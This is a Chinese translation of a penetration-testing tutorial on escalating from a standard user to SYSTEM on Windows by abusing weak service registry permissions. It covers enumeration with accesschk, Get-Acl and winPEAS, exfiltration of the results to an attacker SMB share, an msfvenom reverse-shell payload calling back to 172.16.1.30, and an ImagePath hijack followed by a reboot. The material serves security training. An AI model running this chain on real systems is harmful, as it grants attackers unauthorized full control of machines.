本文通过 Google 翻译 Weak Registry Key Permissions – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
- 0 前言
- 1 搜寻服务的弱权限注册表项
- 1.1 枚举弱权限注册表项:accesschk.exe
- 1.2 枚举弱权限注册表项:PowerShell + Linux-Fu
- 1.3 枚举弱权限注册表项:winPEAS.exe
- 2 分析服务的弱权限注册表项
- 3 利用服务的弱权限注册表项
- 3.1 制作恶意程序
- 3.2 利用注册表键
0、前言
在这篇文章中,我们将学习一种涉及注册表的权限提升技术。我们将看到,由于服务注册表权限管理的薄弱,导致攻击者可以由标准用户权限提升到本地 SYSTEM 权限。
首先,我们会使用几种不同的枚举工具去查找与服务相关的注册表项,试图找到任何权限较弱的键。其次,在这个键下面寻找与服务绑定信息相关的值(主要是 imagePath 值)。然后,我们会制作一个恶意程序,并将这个 imagePath 的值从原始路径替换为指向恶意程序的路径。最后,重启该服务,该服务将执行恶意 EXE 并为我们提供一个 SYSTEM shell。
通过篡改服务使用的注册表项,攻击者可以操纵服务可执行文件的执行位置。攻击者可能没有任何权限滥用服务本身,但如果能够滥用与该服务相关的注册表项,攻击者就有能力绕过权限限制直接操纵服务。
由于注册表是应用程序和系统组件(例如服务)存储配置数据的地方,而如果我们能够操纵服务存储配置数据的位置,那么也就意味着我们可以改变服务启动程序的位置。
注:注册表相关术语名词介绍。
键(Key):类似于文件系统中的“文件夹”,用于存储注册表值。
根键(Root Key):注册表的最高层级键,共有五个主要根键,分别是:HKCU(存储当前登录用户的配置信息)、HKLM(存储计算机范围内的配置信息)、HKU(存储计算机上所有用户的配置信息)、HKCR(存储文件扩展名、程序关联信息等)、HKCC(存储当前硬件配置文件的动态数据)。
子键(Subkey):键中的子层级,例如
HKEY_LOCAL_MACHINE\SYSTEM
中,SYSTEM
是HKEY_LOCAL_MACHINE
的子键。值(Value):存储在键中的具体数据,每个键可以包含多个值。
注册表项(Registry Entry):指具体的键或值。
注册表路径(Registry Path):访问注册表中某个键的完整路径,
注册表权限:控制哪些用户或程序可以读取、修改注册表键值。
注册表脚本(.reg 文件):用于批量导入或修改注册表的文本文件。
1、搜寻服务的弱权限注册表项
在搜寻有关服务的注册表项时,我们主要的关注点是 HKLM\SYSTEM\CurrentControlSet\Services
路径下面的子键,因为这里是专门用来存储系统中所有服务配置数据的地方。
在接下来的示例中,假设我们已经作为标准用户 cmarko 在目标机上获得了立足点。
有多种方法可以用来枚举注册表项的弱权限,但在本例中,我们通过只使用两种不同的工具和一种手动方法去枚举注册表项的权限。
1.1、枚举弱权限注册表项:accesschk.exe
我们要探索的第一种枚举注册表权限的技术,是使用 Sysinterals 工具套件中的 accesschk.exe 工具。
首先根据受害者机器的系统架构去下载对应的 accesschk 版本,然后将其传输到受害者机器上。
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
为了能更好的使用 accesschk 工具和理解它输出的内容,我们要对下面这些用户/组有所了解:
- %USERNAME% 代表当前登录用户,如 bob。
- Authenticated Users【注:通过 控制台、RDP、WinRM、SMB 登录系统的用户都属于已认证用户。】
- Everyone
- BUILTIN\Users
- NT AUTHORITY\INTERACTIVE
如果在枚举服务相关的注册表项时,能够发现以上任意一个用户/组拥有写入权限,那我们就可利用这个服务。
使用 accesschk 时,我们首先检查当前用户,因为当前用户可能默认属于这些组中的大多数。【最主要的是,查看其它组的最终目的不还是为了当前用户吗】
accesschk64.exe "%USERNAME%" -kvuqsw hklm\System\CurrentControlSet\services -accepteula
可以看到,当前用户对 Juggernaut 服务的注册表项拥有 ALL_ACCESS 权限,即“完全控制”的权限。【而该权限的由来,可能是因为这个注册表项就是针对这个用户本身开放的 ALL_ACCESS 权限,也可能是针对某个组开放的权限,只不过当前用户正好就在其中。】
此外,也可以通过以下命令分别查询其它组拥有哪些服务的注册表项写入权限:
accesschk64.exe "Everyone" -kqswvu hklm\System\CurrentControlSet\services -accepteulaaccesschk64.exe "Authenticated Users" -kqswvu hklm\System\CurrentControlSet\services -accepteulaaccesschk64.exe "BUILTIN\Users" -kqswvu hklm\System\CurrentControlSet\services -accepteulaaccesschk64.exe "NT AUTHORITY\INTERACTIVE" -kqswvu hklm\System\CurrentControlSet\services -accepteula
为了更好的理解 accesschk 工具参数的用法,可以查看此手册。
1.2、枚举弱权限注册表项:PowerShell + Linux-Fu
第二种查找服务弱权限注册表项的方法是使用 PowerShell 的 cmdlet,可使用以下命令:
Get-Acl -Path hklm:\System\CurrentControlSet\services\* | Format-List
由于输出内容较多,因此,可以将输出重定向到文件,然后发送回我们的攻击机慢慢查看。
Get-Acl -Path hklm:\System\CurrentControlSet\services\* | Format-List | Out-File -FilePath C:\temp\service_keys.txt
将此文件发送回攻击机的最方便的方法是在攻击机使用以下命令启动一个 SMB 服务:
impacket-smbserver share $(pwd) -smb2support
然后回到受害者机器,使用以下命令将文件发送到攻击者机器:
copy C:\temp\service_keys.txt \\172.16.1.30\share
查看两侧文件的字节大小是否一样,以确保文件的传输是正常的。同时,由于 Windows 和 Linux 关于文本文件格式不同的问题,我们需要在攻击机通过 dos2unix 命令将其格式进行转换,然后才能使用 grep 命令去提取我们感兴趣的信息。
由于该文件非常庞大,因此,我们需要使用一些 Linux 技巧,以将输出内容缩减到只包含我们感兴趣的信息,这样才能更容易地发现异常值。
cat service_keys.txt | grep -i "Path\|Access\|BUILTIN\\\Users\|Everyone\|INTERACTIVE\|Authenticated Users"
输出的内容依旧很多,但基本上就是一条 Path 对应一条 Access,同时还看到许多显示“ ReadKey”的权限。
为此,我们需要使用以下命令省略 ReadKey 的输出:
cat service_keys.txt | grep -i "Path\|Access\|BUILTIN\\\Users\|Everyone\|INTERACTIVE\|Authenticated Users" | grep -v "ReadKey"
这次,虽然“ReadKey”没有了,但 Path 和 Access 一对一的关系也被打破了,好多 Access 的行会粘连在一块。为此,我们需要再次筛选只会在 Access 行中出现的 Authenticated Users、FullControl 等关键信息,并指定行被匹配的同时还要附带匹配行上面的一行信息,即 -B 1
,最终命令如下:
cat service_keys.txt | grep -i "Path\|Access\|BUILTIN\\\Users\|Everyone\|INTERACTIVE\|Authenticated Users" | grep -v "ReadKey" | grep -B 1 -i "Authenticated Users|\BUILTIN\\\Users\|Everyone\|INTERACTIVE\|FullControl\|Modify\|Write"
这次效果就好多了,输出内容由刚开始的 10,000 多行减少到了大约 40 行,在这 40 行的数据中我们很快就发现了异常!
当找到了弱权限的注册表路径后,就可以使用 Get-Acl 进行专项查询:
Get-Acl -Path hklm:\System\CurrentControlSet\services\Juggernaut | Format-List
1.3、枚举弱权限注册表项:winPEAS.exe
第三种查找服务弱权限注册表项的方法是使用 winPEAS.exe 枚举工具,而这可能是查找弱权限注册表项最简单的方法。
将 winPEASx64.exe 的副本下载并传输到受害者机器上。
执行 winPEAS 之后,我们可以在“Services Information”部分找到任何错误配置的服务注册表项。
2、分析服务的弱权限注册表项
在经过上面的枚举之后,我们找到了一个令人感兴趣的服务注册表项:Juggernaut。接下来,我们就需要针对这个键去查看它下面和服务相关的值的信息。
可以使用 cmd.exe 或 PowerShell 命令去枚举服务。
使用 cmd.exe:
reg query "HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\Juggernaut"
使用 PowerShell:
Get-Item -Path Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\Juggernaut
在上面的输出中,可以看到键值“ImagePath”指向了 C:\Program Files\Juggernaut\Juggernaut.exe
文件,而这就是服务的启动程序;键值“ObjectName”是 LocalSystem,表示服务以 SYSTEM 身份运行;键值“Start”是 2,表示服务可以通过开机自启动。
又尝试看了一下 C:\Program Files\Juggernaut\
目录和 Juggernaut.exe 文件的权限,发现我们并没有写入的权限(权限标识中没有出现 F、M、W 这些字符)。
icacls "C:\Program Files\Juggernaut\Juggernaut.exe"
icacls "C:\Program Files\Juggernaut"
此时,有趣的地方出现了。虽然我们没有服务启动程序所在目录和文件的修改权限,但由于我们有权限修改该服务的注册表项,因此就可以通过更改服务注册表键值“ImagePath”的路径来指向我们控制的文件。
由于这项服务是可以自启动的,而我们又拥有该主机的重启操作,因此我们就可以通过重启系统来强制重启服务。
3、利用服务的弱权限注册表项
3.1、制作恶意程序
接着,我们需要制作一个恶意程序以供利用使用:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f exe -o pwnt.exe
准备就绪后,我们将其转移到受害者机器上。
3.2、利用注册表键
接下来,我们需要做的第一件事就是更改 Juggernaut 服务注册表键值上的 ImagePath,使其指向我们受控的恶意程序。可以使用以下命令来完成这项工作:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Juggernaut" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\pwnt.exe" /f
成功修改 ImagePath 以指向受控的恶意程序后,我们需要返回攻击者机器,启动一个 443 端口的 netcat 监听器,然后重启受害者主机。
shutdown /r /t 0
等待大约20秒钟后,回到监听器,看到我们获得了一个 SYSTEM shell!